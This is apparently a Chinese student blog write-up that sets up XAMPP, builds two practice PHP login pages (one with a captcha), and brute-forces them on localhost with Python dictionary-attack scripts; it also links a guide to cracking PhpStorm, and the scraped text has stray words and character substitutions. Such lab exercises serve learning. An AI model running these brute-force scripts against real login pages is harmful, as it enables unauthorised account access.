XAMPP是最流行的PHP开发环境。 XAMPP是彻底免费且易于安装的Apache发行版,其中包含Apache、MariaDB、PHP和Perl。php
相似XAMPP的服务器套件还有不少,我用过的还有UPUPW,它们都极大的简化了开发环境的配置。html
十六款免费的服务器套件的介绍介绍了主流的免费服务器开发套件。python
xampp下载地址:http://www.xampp.cc/mysql
安装没什么好说的,“下一步”直到安装完成。web
双击xampp安装目录下的xampp-control.exe,打开xampp控制面板。
点击Apache的“Start”按钮,启动Apache服务。 Apache服务的端口默认是80和443,若是电脑上装有虚拟机,443端口会被虚拟机占用,致使Apache服务启动失败。这种状况的修改方法以下:
① 打开任务管理器,找到找到vmware-hostd.exe进程,结束它。
② 打开VMware虚拟机,选择菜单“编辑”——>"首选项",以下图所示。
至于如何查看哪一个程序占用了哪一个端口,能够点xampp控制面板右侧的“Netstat”按钮,也能够在命令提示符窗口输入netstat -ano指令来查看这几个端口是否被占用。若占用,记住PID,而后在任务管理器里对于相应的PID,结束便可。若是任务管理器的列表中没有PID这一列,点击任务管理器的菜单“查看”——>“选择列”,勾选PID便可。
比较通用的修改方法以下: (这种方法直接改xampp的配置文件。)
①若是80端口被占用
将xampp\apache\conf这个目录下的httpd.conf 文件中 全部80换成其余值。
将xampp\apache\conf\extra这个目录下的 httpd-vhosts.conf 全部80换成其余值。
②若是是443端口被占用
将XAMPP\apache\conf\extra这个目录下的httpd-ssl.conf 全部443换成其余值。
点击MySQL的“Start”按钮,启动MySQL服务。 (若是电脑上以前安装过MySQL,xampp的MySQL服务启动失败) 正确的修改方法是: ①在命令提示符窗口输入regedit指令,打开注册表编辑器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,将ImagePath的数据修改为xampp中mysq的位置,再次点击MySQL的 “Start”按钮,mysql服务正常启动。
若是MySQL的默认端口3306被占用,修改方法以下:
①修改占用该端口的外部程序,修改方法前面说过。 或者
②点击MySQL的 “Config”按钮,选择“my.ini”,打开该配置文件,并将其中的3306改为其余值。
sql
测试
在浏览器输入http://localhost/dashboard/,出现以下页面,测试成功。
apache
** 若是发现网页找不到,那就把以前改的端口(好比我改的是8001)放在localhost后面,即:localhost:8001**windows
除此以外咱们还要搭建PHPSTORM环境!!! 根据这个老哥的博客来完成环境的搭建浏览器
[安装XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安装并破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)安全
源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好帐号密码,而后数据就会传给php来处理。
Html部分以下: (原参考博客该部分有误,已做出修改)
<!DOCTYPEhtml> <html> <head> <meta charset="utf-8"> <title>暴力破解测试页面</title> </head> <body> <div align="center"> <h1>暴力破解测试页面-low</h1></div> <form action="Loginl.php" method="post" name="form"> <fieldset> <legend><b>请输入信息</b></legend> <p>用户名:<input type="text" name="name" id="name"></p> <p>密码:<input type="password" name="password" id="password"></p> <p><input type="submit" value="登陆"></p> </fieldset> </form> </body> </html>
php部分以下
<!DOCTYPEhtml> <html><head><meta charset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午3:20 */ session_start(); $pwd=$_POST["password"]; $name=$_POST["name"]; if($name=="") {die("用户名不能为空");} if($pwd=="") {die("密码不能为空");} if($name=="admin"&&$pwd=="1234") {echo"登录成功!!!";setcookie("user","$name",time()+3600);} else{echo"登录失败";} ?> </head> </html>
只须要使用requests模块来进行请求访问,使用bs4来判断登录是否成功,附上代码:
无验证码暴力破解的python脚本
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup def crack(username='admin', password='1234566'): # 定义一个暴力破解的函数 print('正在尝试帐号:%s,密码:%s' % (username, password)) # 回显输出 url = 'http://localhost:63342/untitled2/Loginl.html' # 定义须要暴破请求的地址 datas = {'name': 'admin', 'password': password} # 定义暴力破解的帐号和密码 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } # 定义访问数据包的请求头,由于若是有防御网站会限制ua req = requests.post(url, datas, headers=header, ) # 发送请求 # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") # 定义响应内容为html res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') # 获取响应信息 print res if '登录成功' in res: # 判断是否登录成功 exit("密码为%s" % password) if __name__ == '__main__': for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): # 暴力破解的字典 crack(password=psw) pass
这一部分太简单了,咱们很容易就实现破解。 因此很少描述。
咱们经过PGPstrom和PGPcharm实现了上一部分,而后在第二个部分的时候,咱们发现PHP页面的url是会随时根据验证码的变化而变化的,那为了解决这个不稳定的问题,固然咱们也能够选择在本机系统下直接运行,这个时候就须要用到xampp了。
具体实现步骤以下:
咱们在xampp的安装目录下,新建一个文件夹把咱们实验所需的文件放进去:
图MyProject
确保Xampp的apache打开。
经过localhost:8001/LoginMid.html访问咱们编写好的页面
你们能够看到在此页面中咱们加入了验证码。 稍后贴出相关代码
咱们输入相关信息,验证一下代码。发现经过xampp直接运行,咱们的url是能够直接使用的
配置好了页面,咱们要开始攻击了。编写好python脚本,同时注意:
为了能在windows下直接使用python命令,咱们须要在系统的环境变量里添加python路径!把它变成咱们的一部分!
脚本编好了,软件能够帮咱们下载须要的插件,可是在windows环境下,咱们须要在cmd中手动下载,首先咱们进入到/Python27/Scripts/
中,在这个路径下咱们可使用其中的pip进行咱们的下载:
PS:若是自带的pip的版本太低须要更新,跟着命令行的提示一步步走就好了
在windows下使用python与在软件内相同,因为咱们的代码使用了request模块、bs4以及lxml,这都是咱们如今须要下载的。
pip install requests
pip install bs4
pip install (你所下载的lxml的保存路径)/lxml-4.2.3-cp27-cp27m-win_amd64.whl
(PS:lxml本身在网上下载,要对应python版本,我下的是2.7的)
9.保证咱们代码里的信息与网页信息同样:
10.接下来咱们直接执行:python attack_3.py
<!DOCTYPEhtml><html><head><meta charset="utf-8"> <title>暴力破解测试页面</title> </head> <body> <div align="center"><h1>暴力破解测试页面-难度medium</h1></div> <form action="LoginMid.php" method="post"onsubmit="return judge();" name="form"> <fieldset> <legend><b>请输入信息</b></legend> <p>用户名:<input type="text" name="name" id="name"></p> <p>密码:<input type="password" name="password"id="password"></p> <p>验证码:<input type="text" name="yzm" id="yzm"> <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p> <p><input type="submit" value="登陆"></p> </fieldset> </form> </body> </html>
<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:03 */ session_start(); $pwd=@$_POST["password"]; $name=@$_POST["name"]; $yzm=@$_POST["yzm"]; if($name=="") {die("user can't be NULL");} if($pwd=="") {die("password can't be NULL");} if($yzm=="") {die("yzm can't be NULL");} if($yzm!=$_SESSION['VCODE']){ die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");} if($name=="admin"&&$pwd=="1114") {echo"success!!!";setcookie("user","$name",time()+3600);} else {echo"failed"; } ?> </head></html>
<?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:04 */ session_start(); Header("Content-type:image/PNG"); //提示用户生成PNG的图片文件 $im= imagecreate(60,25); //建一个基于调色板的图像 $back= imagecolorallocate($im, 245, 245, 245); //分配颜色 imagefill($im,0,0,$back); //图像填充 $vcodes= ""; for($i=0;$i<4;$i++){ $font=imagecolorallocate($im,0,0,0); /*rand()随机函数*/ $authnum=rand(0,9);//验证码的随机数 $vcodes.=$authnum; imagestring($im,5,9+$i*10,5,$authnum,$font); } $_SESSION['VCODE']=$vcodes; imagepng($im); //把图片输出到浏览器文件 imagedestroy($im); //释放图片资源 ?>
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup RCode = '6989' def crack(username='admin', password='1234566'): print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode) # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'} url = 'http://localhost:8001/MyProjects/LoginMid.php' datas = {'name': 'admin', 'password': password, 'yzm': RCode} header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli', # 不带cookie验证码会没法使用 'Referer': 'http://localhost:8001/MyProjects/LoginMid.html', 'Upgrade-Insecure-Requests': '1' } req = requests.post(url, datas, headers=header, ) # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') print res if 'success!!!' in res: exit("pwd is %s" % password) if __name__ == '__main__': # crack() for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): crack(password=psw) pass
这其中要用到字典,我用的字典是本身生成的。路径在python脚本中会用到哦!!!
网上的都要积分,穷苦人民还得本身动手。
此次实践大大的加强了个人动手能力,不断地百度,不断地报错,不断地调试,终于仍是实现啦!
同时我发现:
.exe
文件支持的,使用时记得导入路径!